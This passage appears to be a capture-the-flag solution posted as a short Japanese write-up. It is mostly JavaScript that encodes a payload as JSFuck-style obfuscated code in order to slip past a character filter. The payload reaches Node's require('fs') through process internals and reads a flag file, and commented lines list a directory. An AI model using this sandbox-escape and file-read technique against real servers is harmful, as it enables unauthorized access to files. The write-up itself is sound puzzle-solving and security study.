    "b": "[[+[]][+[]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    "c": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]",
    "d": "[[][[]]+[]][+[]][+!![]+!![]]",
    "e": "[![]+[]][+[]][+!![]+!![]+!![]+!![]]",
    "f": "[![]+[]][+[]][+[]]",
    "F": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]][+[]][+!![]+[!![]+!![]+!![]]]",
    "g": "[[[]+[]][+[]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    "i": "[[][[]]+[]][+[]][+!![]+!![]+!![]+!![]+!![]]",
    "l": "[![]+[]][+[]][+!![]+!![]]",
    "m": "[[+[]][+[]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    "N": "[+[![]]+[]][+[]][+[]]",
    "n": "[[][[]]+[]][+[]][+!![]]",
    "o": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]",
    "r": "[!![]+[]][+[]][+!![]]",
    "S": "[[[]+[]][+[]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    "s": "[![]+[]][+[]][+!![]+!![]+!![]]",
    "t": "[!![]+[]][+[]][+[]]",
    "u": "[!![]+[]][+[]][+!![]+!![]]",
    " ": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    "(": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    ")": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
    "{": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]][+[]][+!![]+[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]]",
    "}": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]][+[]][!![]+!![]+!![]+[!![]+!![]+!![]+!![]]]",
    "[": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]][+[]][!![]+!![]+[+[]]]",
    "]": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]][+[]][!![]+!![]+!![]+[!![]+!![]]]",
    "0": "[+[]]+[]",
    "1": "[+!![]]+[]",
    "2": "[!![]+!![]]+[]",
    "3": "[!![]+!![]+!![]]+[]",
    "4": "[!![]+!![]+!![]+!![]]+[]",
    "5": "[!![]+!![]+!![]+!![]+!![]]+[]",
    "6": "[!![]+!![]+!![]+!![]+!![]+!![]]+[]",
    "7": "[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+[]",
    "8": "[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+[]",
    "9": "[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+[]",
    ".": "[+[[+!![]]+[]+[+!![]]+[]+[![]+[]][+[]][+!![]+!![]+!![]+!![]]+[+!![]]+[]+[+[]]+[]+[+[]]+[]][+[]]+[]][+[]][+!![]]",
    "+": "[+[[+!![]]+[]+[+!![]]+[]+[![]+[]][+[]][+!![]+!![]+!![]+!![]]+[+!![]]+[]+[+[]]+[]+[+[]]+[]][+[]]+[]][+[]][!![]+!![]+!![]+!![]]"
}
function createWord(str) {
    const notfound = str.split('').find(c => !(c in letters));
    if(notfound) {
        console.log(notfound + " not found");
        return ""
    }
    return str.split('').map(c => letters[c]).join("+")
}
function createNumber(n) {
    return Array.from({length: n}, _ => "!![]").join("+")
}


function base36str(str) {
    return `((${parseInt(str, 36)}).toString(36))`
}
const mainModuleIdx = 73 // 78 in local 
const l2 = {
    "F": "([]+[].at.constructor)[9]",
    "S": "(([]+[]).constructor+[])[9]",
    "O": "(({}).constructor+[])[9]",
    " ": "([].at+[])[8]",
    "(": "([]+[].at)[11]",
    ")": "([]+[].at)[12]",
    "{": "([]+[].at)[14]",
    "}": "([]+[].at)[30]",
    "[": "([]+[].at)[16]",
    "]": "([]+[].at)[28]",
    ".": "(.1+[])[1]",
    "+": "(1e100+[])[2]",
    "-": "(.0000001+[])[2]",
    "/":`Object.values(Object.values(process)[${mainModuleIdx}].constructor)[9](${base36str('fs')}).readFileSync(${base36str('run')}).toString()[2]`
}

function parseCodeL2(s) {
    let i = 0;
    let res = ""
    while (i < s.length) {
        if (/[a-z0]/.test(s[i])) { 
            let j = i+1;
            while (j < s.length && /[a-z]/.test(s[j]) && j-i < 10) j++;
            res += `(${parseInt(s.slice(i, j), 36)}).toString(36)`;  
            i = j;  
            
        } else if (/[1-9]/.test(s[i])) { 
            let j = i;
            while (j < s.length && /[0-9]/.test(s[j])) j++;
            res += `(${s.slice(i, j)}+[])`;  
            i = j;  
        } else {
            res += l2[s[i]] || s[i]; 
            i++;
        }
        res += "+"
    }
    return res.slice(0,-1);
}

// Object.keys(process)からprocess.mainModuleのindex入手
// const p = `console.log(Object.keys(process))`;
// ../のファイルの一覧
// const p = `console.log(Object.values(process)[${mainModuleIdx}][${base36str('require')}](${base36str('fs')}).readdirSync(${l2['.']}+${l2['.']}))`;

// flag-cbfb819e49234834fccf32ca9cd32e85.txt を入手
const p = `console.log(Object.values(process)[${mainModuleIdx}][${base36str('require')}](${base36str('fs')}).readFileSync(${l2['.']}+${l2['.']}+${l2['/']}+${base36str('flag')}+${l2['-']}+${base36str('cbfb819e')}+${base36str('49234834')}+${base36str('fccf32ca')}+${base36str('9cd32e85')}+${l2['.']}+${base36str('txt')}).toString())`;

const layer2 = `Function(${parseCodeL2(p)})()`

const t = `[][${createWord("at")}][${createWord("constructor")}](${createWord(layer2)})`

console.log(t)

前に自分でJSFuckコンパイラ作った経験が生きました。

Discussion